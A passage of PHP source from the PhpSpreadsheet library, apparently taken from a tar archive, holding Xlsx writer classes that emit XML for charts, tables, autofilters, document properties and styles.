$plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotSeriesValue); $objWriter->endElement(); $objWriter->endElement(); } } $objWriter->endElement(); // *Cache } $objWriter->endElement(); // *Ref } } private const CUSTOM_COLOR_TYPES = [ DataSeries::TYPE_BARCHART, DataSeries::TYPE_BARCHART_3D, DataSeries::TYPE_PIECHART, DataSeries::TYPE_PIECHART_3D, DataSeries::TYPE_DONUTCHART, ]; /** * Write Bubble Chart Details. */ private function writeBubbles(?DataSeriesValues $plotSeriesValues, XMLWriter $objWriter): void { if ($plotSeriesValues === null) { return; } $objWriter->startElement('c:bubbleSize'); $objWriter->startElement('c:numLit'); $objWriter->startElement('c:formatCode'); $objWriter->writeRawData('General'); $objWriter->endElement(); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', (string) $plotSeriesValues->getPointCount()); $objWriter->endElement(); $dataValues = $plotSeriesValues->getDataValues(); if (!empty($dataValues)) { foreach ($dataValues as $plotSeriesKey => $plotSeriesValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData('1'); $objWriter->endElement(); $objWriter->endElement(); } } $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('c:bubble3D'); $objWriter->writeAttribute('val', $plotSeriesValues->getBubble3D() ? '1' : '0'); $objWriter->endElement(); } /** * Write Layout. */ private function writeLayout(XMLWriter $objWriter, ?Layout $layout = null): void { $objWriter->startElement('c:layout'); if ($layout !== null) { $objWriter->startElement('c:manualLayout'); $layoutTarget = $layout->getLayoutTarget(); if ($layoutTarget !== null) { $objWriter->startElement('c:layoutTarget'); $objWriter->writeAttribute('val', $layoutTarget); $objWriter->endElement(); } $xMode = $layout->getXMode(); if ($xMode !== null) { $objWriter->startElement('c:xMode'); $objWriter->writeAttribute('val', $xMode); $objWriter->endElement(); } $yMode = $layout->getYMode(); if ($yMode !== null) { $objWriter->startElement('c:yMode'); $objWriter->writeAttribute('val', $yMode); $objWriter->endElement(); } $x = $layout->getXPosition(); if ($x !== null) { $objWriter->startElement('c:x'); $objWriter->writeAttribute('val', "$x"); $objWriter->endElement(); } $y = $layout->getYPosition(); if ($y !== null) { $objWriter->startElement('c:y'); $objWriter->writeAttribute('val', "$y"); $objWriter->endElement(); } $w = $layout->getWidth(); if ($w !== null) { $objWriter->startElement('c:w'); $objWriter->writeAttribute('val', "$w"); $objWriter->endElement(); } $h = $layout->getHeight(); if ($h !== null) { $objWriter->startElement('c:h'); $objWriter->writeAttribute('val', "$h"); $objWriter->endElement(); } $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Alternate Content block. */ private function writeAlternateContent(XMLWriter $objWriter): void { $objWriter->startElement('mc:AlternateContent'); $objWriter->writeAttribute('xmlns:mc', Namespaces::COMPATIBILITY); $objWriter->startElement('mc:Choice'); $objWriter->writeAttribute('Requires', 'c14'); $objWriter->writeAttribute('xmlns:c14', Namespaces::CHART_ALTERNATE); $objWriter->startElement('c14:style'); $objWriter->writeAttribute('val', '102'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('mc:Fallback'); $objWriter->startElement('c:style'); $objWriter->writeAttribute('val', '2'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Printer Settings. */ private function writePrintSettings(XMLWriter $objWriter): void { $objWriter->startElement('c:printSettings'); $objWriter->startElement('c:headerFooter'); $objWriter->endElement(); $objWriter->startElement('c:pageMargins'); $objWriter->writeAttribute('footer', '0.3'); $objWriter->writeAttribute('header', '0.3'); $objWriter->writeAttribute('r', '0.7'); $objWriter->writeAttribute('l', '0.7'); $objWriter->writeAttribute('t', '0.75'); $objWriter->writeAttribute('b', '0.75'); $objWriter->endElement(); $objWriter->startElement('c:pageSetup'); $objWriter->writeAttribute('orientation', 'portrait'); $objWriter->endElement(); $objWriter->endElement(); } private function writeEffects(XMLWriter $objWriter, Properties $yAxis): void { if ( !empty($yAxis->getSoftEdgesSize()) || !empty($yAxis->getShadowProperty('effect')) || !empty($yAxis->getGlowProperty('size')) ) { $objWriter->startElement('a:effectLst'); $this->writeGlow($objWriter, $yAxis); $this->writeShadow($objWriter, $yAxis); $this->writeSoftEdge($objWriter, $yAxis); $objWriter->endElement(); // effectLst } } private function writeShadow(XMLWriter $objWriter, Properties $xAxis): void { if (empty($xAxis->getShadowProperty('effect'))) { return; } /** @var string $effect */ $effect = $xAxis->getShadowProperty('effect'); $objWriter->startElement("a:$effect"); if (is_numeric($xAxis->getShadowProperty('blur'))) { $objWriter->writeAttribute('blurRad', Properties::pointsToXml((float) $xAxis->getShadowProperty('blur'))); } if (is_numeric($xAxis->getShadowProperty('distance'))) { $objWriter->writeAttribute('dist', Properties::pointsToXml((float) $xAxis->getShadowProperty('distance'))); } if (is_numeric($xAxis->getShadowProperty('direction'))) { $objWriter->writeAttribute('dir', Properties::angleToXml((float) $xAxis->getShadowProperty('direction'))); } $algn = $xAxis->getShadowProperty('algn'); if (is_string($algn) && $algn !== '') { $objWriter->writeAttribute('algn', $algn); } foreach (['sx', 'sy'] as $sizeType) { $sizeValue = $xAxis->getShadowProperty(['size', $sizeType]); if (is_numeric($sizeValue)) { $objWriter->writeAttribute($sizeType, Properties::tenthOfPercentToXml((float) $sizeValue)); } } foreach (['kx', 'ky'] as $sizeType) { $sizeValue = $xAxis->getShadowProperty(['size', $sizeType]); if (is_numeric($sizeValue)) { $objWriter->writeAttribute($sizeType, Properties::angleToXml((float) $sizeValue)); } } $rotWithShape = $xAxis->getShadowProperty('rotWithShape'); if (is_numeric($rotWithShape)) { $objWriter->writeAttribute('rotWithShape', (string) (int) $rotWithShape); } $this->writeColor($objWriter, $xAxis->getShadowColorObject(), false); $objWriter->endElement(); } private function writeGlow(XMLWriter $objWriter, Properties $yAxis): void { $size = $yAxis->getGlowProperty('size'); if (empty($size)) { return; } $objWriter->startElement('a:glow'); $objWriter->writeAttribute('rad', Properties::pointsToXml((float) $size)); $this->writeColor($objWriter, $yAxis->getGlowColorObject(), false); $objWriter->endElement(); // glow } private function writeSoftEdge(XMLWriter $objWriter, Properties $yAxis): void { $softEdgeSize = $yAxis->getSoftEdgesSize(); if (empty($softEdgeSize)) { return; } $objWriter->startElement('a:softEdge'); $objWriter->writeAttribute('rad', Properties::pointsToXml((float) $softEdgeSize)); $objWriter->endElement(); //end softEdge } private function writeLineStyles(XMLWriter $objWriter, Properties $gridlines, bool $noFill = false): void { $objWriter->startElement('a:ln'); $widthTemp = $gridlines->getLineStyleProperty('width'); if (is_numeric($widthTemp)) { $objWriter->writeAttribute('w', Properties::pointsToXml((float) $widthTemp)); } $this->writeNotEmpty($objWriter, 'cap', $gridlines->getLineStyleProperty('cap')); $this->writeNotEmpty($objWriter, 'cmpd', $gridlines->getLineStyleProperty('compound')); if ($noFill) { $objWriter->startElement('a:noFill'); $objWriter->endElement(); } else { $this->writeColor($objWriter, $gridlines->getLineColor()); } $dash = $gridlines->getLineStyleProperty('dash'); if (!empty($dash)) { $objWriter->startElement('a:prstDash'); $this->writeNotEmpty($objWriter, 'val', $dash); $objWriter->endElement(); } if ($gridlines->getLineStyleProperty('join') === 'miter') { $objWriter->startElement('a:miter'); $objWriter->writeAttribute('lim', '800000'); $objWriter->endElement(); } elseif ($gridlines->getLineStyleProperty('join') === 'bevel') { $objWriter->startElement('a:bevel'); $objWriter->endElement(); } if ($gridlines->getLineStyleProperty(['arrow', 'head', 'type'])) { $objWriter->startElement('a:headEnd'); $objWriter->writeAttribute('type', $gridlines->getLineStyleProperty(['arrow', 'head', 'type'])); $this->writeNotEmpty($objWriter, 'w', $gridlines->getLineStyleArrowWidth('head')); $this->writeNotEmpty($objWriter, 'len', $gridlines->getLineStyleArrowLength('head')); $objWriter->endElement(); } if ($gridlines->getLineStyleProperty(['arrow', 'end', 'type'])) { $objWriter->startElement('a:tailEnd'); $objWriter->writeAttribute('type', $gridlines->getLineStyleProperty(['arrow', 'end', 'type'])); $this->writeNotEmpty($objWriter, 'w', $gridlines->getLineStyleArrowWidth('end')); $this->writeNotEmpty($objWriter, 'len', $gridlines->getLineStyleArrowLength('end')); $objWriter->endElement(); } $objWriter->endElement(); //end ln } private function writeNotEmpty(XMLWriter $objWriter, string $name, ?string $value): void { if ($value !== null && $value !== '') { $objWriter->writeAttribute($name, $value); } } private function writeColor(XMLWriter $objWriter, ChartColor $chartColor, bool $solidFill = true): void { $type = $chartColor->getType(); $value = $chartColor->getValue(); if (!empty($type) && !empty($value)) { if ($solidFill) { $objWriter->startElement('a:solidFill'); } $objWriter->startElement("a:$type"); $objWriter->writeAttribute('val', $value); $alpha = $chartColor->getAlpha(); if (is_numeric($alpha)) { $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', ChartColor::alphaToXml((int) $alpha)); $objWriter->endElement(); // a:alpha } $brightness = $chartColor->getBrightness(); if (is_numeric($brightness)) { $brightness = (int) $brightness; $lumOff = 100 - $brightness; $objWriter->startElement('a:lumMod'); $objWriter->writeAttribute('val', ChartColor::alphaToXml($brightness)); $objWriter->endElement(); // a:lumMod $objWriter->startElement('a:lumOff'); $objWriter->writeAttribute('val', ChartColor::alphaToXml($lumOff)); $objWriter->endElement(); // a:lumOff } $objWriter->endElement(); //a:srgbClr/schemeClr/prstClr if ($solidFill) { $objWriter->endElement(); //a:solidFill } } } private function writeLabelFont(XMLWriter $objWriter, ?Font $labelFont, ?Properties $axisText): void { $objWriter->startElement('a:p'); $objWriter->startElement('a:pPr'); $objWriter->startElement('a:defRPr'); if ($labelFont !== null) { $fontSize = $labelFont->getSize(); if (is_numeric($fontSize)) { $fontSize *= (($fontSize < 100) ? 100 : 1); $objWriter->writeAttribute('sz', (string) $fontSize); } if ($labelFont->getBold() === true) { $objWriter->writeAttribute('b', '1'); } if ($labelFont->getItalic() === true) { $objWriter->writeAttribute('i', '1'); } $cap = $labelFont->getCap(); if ($cap !== null) { $objWriter->writeAttribute('cap', $cap); } $fontColor = $labelFont->getChartColor(); if ($fontColor !== null) { $this->writeColor($objWriter, $fontColor); } } if ($axisText !== null) { $this->writeEffects($objWriter, $axisText); } if ($labelFont !== null) { if (!empty($labelFont->getLatin())) { $objWriter->startElement('a:latin'); $objWriter->writeAttribute('typeface', $labelFont->getLatin()); $objWriter->endElement(); } if (!empty($labelFont->getEastAsian())) { $objWriter->startElement('a:eastAsian'); $objWriter->writeAttribute('typeface', $labelFont->getEastAsian()); $objWriter->endElement(); } if (!empty($labelFont->getComplexScript())) { $objWriter->startElement('a:complexScript'); $objWriter->writeAttribute('typeface', $labelFont->getComplexScript()); $objWriter->endElement(); } } $objWriter->endElement(); // a:defRPr $objWriter->endElement(); // a:pPr $objWriter->endElement(); // a:p } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Table.php000064400000011317151676714400021224 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Worksheet\Table as WorksheetTable; class Table extends WriterPart { /** * Write Table to XML format. * * @param int $tableRef Table ID * * @return string XML Output */ public function writeTable(WorksheetTable $table, int $tableRef): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Table $name = 'Table' . $tableRef; $range = $table->getRange(); $objWriter->startElement('table'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); $objWriter->writeAttribute('id', (string) $tableRef); $objWriter->writeAttribute('name', $name); $objWriter->writeAttribute('displayName', $table->getName() ?: $name); $objWriter->writeAttribute('ref', $range); $objWriter->writeAttribute('headerRowCount', $table->getShowHeaderRow() ? '1' : '0'); $objWriter->writeAttribute('totalsRowCount', $table->getShowTotalsRow() ? '1' : '0'); // Table Boundaries [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($table->getRange()); // Table Auto Filter if ($table->getShowHeaderRow() && $table->getAllowFilter() === true) { $objWriter->startElement('autoFilter'); $objWriter->writeAttribute('ref', $range); foreach (range($rangeStart[0], $rangeEnd[0]) as $offset => $columnIndex) { $column = $table->getColumnByOffset($offset); if (!$column->getShowFilterButton()) { $objWriter->startElement('filterColumn'); $objWriter->writeAttribute('colId', (string) $offset); $objWriter->writeAttribute('hiddenButton', '1'); $objWriter->endElement(); } else { $column = $table->getAutoFilter()->getColumnByOffset($offset); AutoFilter::writeAutoFilterColumn($objWriter, $column, $offset); } } $objWriter->endElement(); // autoFilter } // Table Columns $objWriter->startElement('tableColumns'); $objWriter->writeAttribute('count', (string) ($rangeEnd[0] - $rangeStart[0] + 1)); foreach (range($rangeStart[0], $rangeEnd[0]) as $offset => $columnIndex) { $worksheet = $table->getWorksheet(); if (!$worksheet) { continue; } $column = $table->getColumnByOffset($offset); $cell = $worksheet->getCell([$columnIndex, $rangeStart[1]]); $objWriter->startElement('tableColumn'); $objWriter->writeAttribute('id', (string) ($offset + 1)); $objWriter->writeAttribute('name', $table->getShowHeaderRow() ? $cell->getValueString() : ('Column' . ($offset + 1))); if ($table->getShowTotalsRow()) { if ($column->getTotalsRowLabel()) { $objWriter->writeAttribute('totalsRowLabel', $column->getTotalsRowLabel()); } if ($column->getTotalsRowFunction()) { $objWriter->writeAttribute('totalsRowFunction', $column->getTotalsRowFunction()); } } if ($column->getColumnFormula()) { $objWriter->writeElement('calculatedColumnFormula', $column->getColumnFormula()); } $objWriter->endElement(); } $objWriter->endElement(); // Table Styles $objWriter->startElement('tableStyleInfo'); $objWriter->writeAttribute('name', $table->getStyle()->getTheme()); $objWriter->writeAttribute('showFirstColumn', $table->getStyle()->getShowFirstColumn() ? '1' : '0'); $objWriter->writeAttribute('showLastColumn', $table->getStyle()->getShowLastColumn() ? '1' : '0'); $objWriter->writeAttribute('showRowStripes', $table->getStyle()->getShowRowStripes() ? '1' : '0'); $objWriter->writeAttribute('showColumnStripes', $table->getStyle()->getShowColumnStripes() ? '1' : '0'); $objWriter->endElement(); $objWriter->endElement(); // Return return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/AutoFilter.php000064400000011516151676714400022254 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column\Rule; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet as ActualWorksheet; class AutoFilter extends WriterPart { /** * Write AutoFilter. */ public static function writeAutoFilter(XMLWriter $objWriter, ActualWorksheet $worksheet): void { $autoFilterRange = $worksheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { // autoFilter $objWriter->startElement('autoFilter'); // Strip any worksheet reference from the filter coordinates $range = Coordinate::splitRange($autoFilterRange); $range = $range[0]; // Strip any worksheet ref [$ws, $range[0]] = ActualWorksheet::extractSheetTitle($range[0], true); $range = implode(':', $range); $objWriter->writeAttribute('ref', str_replace('$', '', $range)); $columns = $worksheet->getAutoFilter()->getColumns(); if (count($columns) > 0) { foreach ($columns as $columnID => $column) { $colId = $worksheet->getAutoFilter()->getColumnOffset($columnID); self::writeAutoFilterColumn($objWriter, $column, $colId); } } $objWriter->endElement(); } } /** * Write AutoFilter's filterColumn. */ public static function writeAutoFilterColumn(XMLWriter $objWriter, Column $column, int $colId): void { $rules = $column->getRules(); if (count($rules) > 0) { $objWriter->startElement('filterColumn'); $objWriter->writeAttribute('colId', "$colId"); $objWriter->startElement($column->getFilterType()); if ($column->getJoin() == Column::AUTOFILTER_COLUMN_JOIN_AND) { $objWriter->writeAttribute('and', '1'); } foreach ($rules as $rule) { self::writeAutoFilterColumnRule($column, $rule, $objWriter); } $objWriter->endElement(); $objWriter->endElement(); } } /** * Write AutoFilter's filterColumn Rule. */ private static function writeAutoFilterColumnRule(Column $column, Rule $rule, XMLWriter $objWriter): void { if ( ($column->getFilterType() === Column::AUTOFILTER_FILTERTYPE_FILTER) && ($rule->getOperator() === Rule::AUTOFILTER_COLUMN_RULE_EQUAL) && ($rule->getValue() === '') ) { // Filter rule for Blanks $objWriter->writeAttribute('blank', '1'); } elseif ($rule->getRuleType() === Rule::AUTOFILTER_RULETYPE_DYNAMICFILTER) { // Dynamic Filter Rule $objWriter->writeAttribute('type', $rule->getGrouping()); $val = $column->getAttribute('val'); if ($val !== null) { $objWriter->writeAttribute('val', "$val"); } $maxVal = $column->getAttribute('maxVal'); if ($maxVal !== null) { $objWriter->writeAttribute('maxVal', "$maxVal"); } } elseif ($rule->getRuleType() === Rule::AUTOFILTER_RULETYPE_TOPTENFILTER) { // Top 10 Filter Rule $ruleValue = $rule->getValue(); if (!is_array($ruleValue)) { $objWriter->writeAttribute('val', "$ruleValue"); } $objWriter->writeAttribute('percent', (($rule->getOperator() === Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT) ? '1' : '0')); $objWriter->writeAttribute('top', (($rule->getGrouping() === Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP) ? '1' : '0')); } else { // Filter, DateGroupItem or CustomFilter $objWriter->startElement($rule->getRuleType()); if ($rule->getOperator() !== Rule::AUTOFILTER_COLUMN_RULE_EQUAL) { $objWriter->writeAttribute('operator', $rule->getOperator()); } if ($rule->getRuleType() === Rule::AUTOFILTER_RULETYPE_DATEGROUP) { // Date Group filters $ruleValue = $rule->getValue(); if (is_array($ruleValue)) { foreach ($ruleValue as $key => $value) { $objWriter->writeAttribute($key, "$value"); } } $objWriter->writeAttribute('dateTimeGrouping', $rule->getGrouping()); } else { $ruleValue = $rule->getValue(); if (!is_array($ruleValue)) { $objWriter->writeAttribute('val', "$ruleValue"); } } $objWriter->endElement(); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/DocProps.php000064400000021174151676714400021730 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Document\Properties; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; class DocProps extends WriterPart { /** * Write docProps/app.xml to XML format. * * @return string XML Output */ public function writeDocPropsApp(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Properties $objWriter->startElement('Properties'); $objWriter->writeAttribute('xmlns', Namespaces::EXTENDED_PROPERTIES); $objWriter->writeAttribute('xmlns:vt', Namespaces::PROPERTIES_VTYPES); // Application $objWriter->writeElement('Application', 'Microsoft Excel'); // DocSecurity $objWriter->writeElement('DocSecurity', '0'); // ScaleCrop $objWriter->writeElement('ScaleCrop', 'false'); // HeadingPairs $objWriter->startElement('HeadingPairs'); // Vector $objWriter->startElement('vt:vector'); $objWriter->writeAttribute('size', '2'); $objWriter->writeAttribute('baseType', 'variant'); // Variant $objWriter->startElement('vt:variant'); $objWriter->writeElement('vt:lpstr', 'Worksheets'); $objWriter->endElement(); // Variant $objWriter->startElement('vt:variant'); $objWriter->writeElement('vt:i4', (string) $spreadsheet->getSheetCount()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // TitlesOfParts $objWriter->startElement('TitlesOfParts'); // Vector $objWriter->startElement('vt:vector'); $objWriter->writeAttribute('size', (string) $spreadsheet->getSheetCount()); $objWriter->writeAttribute('baseType', 'lpstr'); $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $objWriter->writeElement('vt:lpstr', $spreadsheet->getSheet($i)->getTitle()); } $objWriter->endElement(); $objWriter->endElement(); // Company $objWriter->writeElement('Company', $spreadsheet->getProperties()->getCompany()); // Company $objWriter->writeElement('Manager', $spreadsheet->getProperties()->getManager()); // LinksUpToDate $objWriter->writeElement('LinksUpToDate', 'false'); // SharedDoc $objWriter->writeElement('SharedDoc', 'false'); // HyperlinkBase $objWriter->writeElement('HyperlinkBase', $spreadsheet->getProperties()->getHyperlinkBase()); // HyperlinksChanged $objWriter->writeElement('HyperlinksChanged', 'false'); // AppVersion $objWriter->writeElement('AppVersion', '12.0000'); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write docProps/core.xml to XML format. * * @return string XML Output */ public function writeDocPropsCore(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // cp:coreProperties $objWriter->startElement('cp:coreProperties'); $objWriter->writeAttribute('xmlns:cp', Namespaces::CORE_PROPERTIES2); $objWriter->writeAttribute('xmlns:dc', Namespaces::DC_ELEMENTS); $objWriter->writeAttribute('xmlns:dcterms', Namespaces::DC_TERMS); $objWriter->writeAttribute('xmlns:dcmitype', Namespaces::DC_DCMITYPE); $objWriter->writeAttribute('xmlns:xsi', Namespaces::SCHEMA_INSTANCE); // dc:creator $objWriter->writeElement('dc:creator', $spreadsheet->getProperties()->getCreator()); // cp:lastModifiedBy $objWriter->writeElement('cp:lastModifiedBy', $spreadsheet->getProperties()->getLastModifiedBy()); // dcterms:created $objWriter->startElement('dcterms:created'); $objWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF'); $created = $spreadsheet->getProperties()->getCreated(); $date = Date::dateTimeFromTimestamp("$created"); $objWriter->writeRawData($date->format(DATE_W3C)); $objWriter->endElement(); // dcterms:modified $objWriter->startElement('dcterms:modified'); $objWriter->writeAttribute('xsi:type', 'dcterms:W3CDTF'); $created = $spreadsheet->getProperties()->getModified(); $date = Date::dateTimeFromTimestamp("$created"); $objWriter->writeRawData($date->format(DATE_W3C)); $objWriter->endElement(); // dc:title $objWriter->writeElement('dc:title', $spreadsheet->getProperties()->getTitle()); // dc:description $objWriter->writeElement('dc:description', $spreadsheet->getProperties()->getDescription()); // dc:subject $objWriter->writeElement('dc:subject', $spreadsheet->getProperties()->getSubject()); // cp:keywords $objWriter->writeElement('cp:keywords', $spreadsheet->getProperties()->getKeywords()); // cp:category $objWriter->writeElement('cp:category', $spreadsheet->getProperties()->getCategory()); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write docProps/custom.xml to XML format. * * @return null|string XML Output */ public function writeDocPropsCustom(Spreadsheet $spreadsheet): ?string { $customPropertyList = $spreadsheet->getProperties()->getCustomProperties(); if (empty($customPropertyList)) { return null; } // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // cp:coreProperties $objWriter->startElement('Properties'); $objWriter->writeAttribute('xmlns', Namespaces::CUSTOM_PROPERTIES); $objWriter->writeAttribute('xmlns:vt', Namespaces::PROPERTIES_VTYPES); foreach ($customPropertyList as $key => $customProperty) { $propertyValue = $spreadsheet->getProperties()->getCustomPropertyValue($customProperty); $propertyType = $spreadsheet->getProperties()->getCustomPropertyType($customProperty); $objWriter->startElement('property'); $objWriter->writeAttribute('fmtid', '{D5CDD505-2E9C-101B-9397-08002B2CF9AE}'); $objWriter->writeAttribute('pid', (string) ($key + 2)); $objWriter->writeAttribute('name', $customProperty); switch ($propertyType) { case Properties::PROPERTY_TYPE_INTEGER: $objWriter->writeElement('vt:i4', (string) $propertyValue); break; case Properties::PROPERTY_TYPE_FLOAT: $objWriter->writeElement('vt:r8', sprintf('%F', $propertyValue)); break; case Properties::PROPERTY_TYPE_BOOLEAN: $objWriter->writeElement('vt:bool', ($propertyValue) ? 'true' : 'false'); break; case Properties::PROPERTY_TYPE_DATE: $objWriter->startElement('vt:filetime'); $date = Date::dateTimeFromTimestamp("$propertyValue"); $objWriter->writeRawData($date->format(DATE_W3C)); $objWriter->endElement(); break; default: $objWriter->writeElement('vt:lpwstr', (string) $propertyValue); break; } $objWriter->endElement(); } $objWriter->endElement(); return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Style.php000064400000064575151676714400021313 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Protection; class Style extends WriterPart { /** * Write styles to XML format. * * @return string XML Output */ public function writeStyles(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // styleSheet $objWriter->startElement('styleSheet'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', Namespaces::MAIN); // numFmts $objWriter->startElement('numFmts'); $objWriter->writeAttribute('count', (string) $this->getParentWriter()->getNumFmtHashTable()->count()); // numFmt for ($i = 0; $i < $this->getParentWriter()->getNumFmtHashTable()->count(); ++$i) { $this->writeNumFmt($objWriter, $this->getParentWriter()->getNumFmtHashTable()->getByIndex($i), $i); } $objWriter->endElement(); // fonts $objWriter->startElement('fonts'); $objWriter->writeAttribute('count', (string) $this->getParentWriter()->getFontHashTable()->count()); // font for ($i = 0; $i < $this->getParentWriter()->getFontHashTable()->count(); ++$i) { $thisfont = $this->getParentWriter()->getFontHashTable()->getByIndex($i); if ($thisfont !== null) { $this->writeFont($objWriter, $thisfont); } } $objWriter->endElement(); // fills $objWriter->startElement('fills'); $objWriter->writeAttribute('count', (string) $this->getParentWriter()->getFillHashTable()->count()); // fill for ($i = 0; $i < $this->getParentWriter()->getFillHashTable()->count(); ++$i) { $thisfill = $this->getParentWriter()->getFillHashTable()->getByIndex($i); if ($thisfill !== null) { $this->writeFill($objWriter, $thisfill); } } $objWriter->endElement(); // borders $objWriter->startElement('borders'); $objWriter->writeAttribute('count', (string) $this->getParentWriter()->getBordersHashTable()->count()); // border for ($i = 0; $i < $this->getParentWriter()->getBordersHashTable()->count(); ++$i) { $thisborder = $this->getParentWriter()->getBordersHashTable()->getByIndex($i); if ($thisborder !== null) { $this->writeBorder($objWriter, $thisborder); } } $objWriter->endElement(); // cellStyleXfs $objWriter->startElement('cellStyleXfs'); $objWriter->writeAttribute('count', '1'); // xf $objWriter->startElement('xf'); $objWriter->writeAttribute('numFmtId', '0'); $objWriter->writeAttribute('fontId', '0'); $objWriter->writeAttribute('fillId', '0'); $objWriter->writeAttribute('borderId', '0'); $objWriter->endElement(); $objWriter->endElement(); // cellXfs $objWriter->startElement('cellXfs'); $objWriter->writeAttribute('count', (string) count($spreadsheet->getCellXfCollection())); // xf $alignment = new Alignment(); $defaultAlignHash = $alignment->getHashCode(); if ($defaultAlignHash !== $spreadsheet->getDefaultStyle()->getAlignment()->getHashCode()) { $defaultAlignHash = ''; } foreach ($spreadsheet->getCellXfCollection() as $cellXf) { $this->writeCellStyleXf($objWriter, $cellXf, $spreadsheet, $defaultAlignHash); } $objWriter->endElement(); // cellStyles $objWriter->startElement('cellStyles'); $objWriter->writeAttribute('count', '1'); // cellStyle $objWriter->startElement('cellStyle'); $objWriter->writeAttribute('name', 'Normal'); $objWriter->writeAttribute('xfId', '0'); $objWriter->writeAttribute('builtinId', '0'); $objWriter->endElement(); $objWriter->endElement(); // dxfs $objWriter->startElement('dxfs'); $objWriter->writeAttribute('count', (string) $this->getParentWriter()->getStylesConditionalHashTable()->count()); // dxf for ($i = 0; $i < $this->getParentWriter()->getStylesConditionalHashTable()->count(); ++$i) { $thisstyle = $this->getParentWriter()->getStylesConditionalHashTable()->getByIndex($i); if ($thisstyle !== null) { $this->writeCellStyleDxf($objWriter, $thisstyle->getStyle()); } } $objWriter->endElement(); // tableStyles $objWriter->startElement('tableStyles'); $objWriter->writeAttribute('defaultTableStyle', 'TableStyleMedium9'); $objWriter->writeAttribute('defaultPivotStyle', 'PivotTableStyle1'); $objWriter->endElement(); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write Fill. */ private 